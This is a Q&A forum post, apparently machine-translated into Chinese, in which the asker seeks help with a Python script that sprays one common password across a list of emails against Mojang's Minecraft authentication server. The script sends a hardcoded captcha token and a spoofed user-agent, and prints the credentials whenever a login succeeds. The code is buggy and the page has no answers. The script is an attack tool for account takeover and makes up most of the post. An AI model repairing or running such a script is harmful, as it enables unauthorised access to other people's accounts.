Python请求库发布请求erorr

时间:2019-03-25 12:35:58

标签: login python-requests minecraft

我正在尝试登录Minecraft,但出现以下错误

  

{“错误”:“不支持的媒体类型”,“错误消息”:“服务器处于   拒绝为请求提供服务,因为请求的实体是   所请求的资源不支持的格式   方法”}

import requests
from bs4 import BeautifulSoup

url = 'https://authserver.mojang.com/authenticate'
headers = {"user-agent": "Mozilla/5.0 (X11; CrOS x86_64 11803.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3713.0 Safari/537.36"}
infile = "emails.txt"
password = input("Input a common password for the users: ")
with open(infile, "r") as inf:
    for line in inf:
        user = line[:1]
        data = {
            "captcha": "03AOLTBLStznNZDVh4caexj5wxY8kOTzyAH5VteztJhnjFznHPNah2q8jy_rYnN1ZFBGU1zUFoOl9tLFAr_tgROj88_grz8N61PhnM4THKuUzBoQhINFuCAFK6PO70aCPIsJeO0ydag-UWOOkNkbegJzdG2WBA456k_aiioYwT6PUTcTAQvQBljoVEPNONg7yUvybe12o4qaYCdfGRrS6ryyQDx8S4A9cGEmEMaNDJgFF2jm_Q7Nvk1OdHO6RYph1VtW86wgGGzdqOitk9lzl2HHLmaJMhe7nPJ0YKh0QQ2cQ-xdPqcCIJ_88tf1vfVrV9PJBtRz3QaQXp"
            , "captchaSupported": "InvisibleReCAPTCHA"
            , "password": password
            , "requestUser": "true"
            , "username": user}
        r = requests.post(url, data=data, headers=headers)
        soup = BeautifulSoup(r.content, "html.parser")
if("Profile") in str(soup):
    print("Boom")
    print(user + ":" + password)

else:
    print("fail")
    print(soup)

0 个答案:

没有答案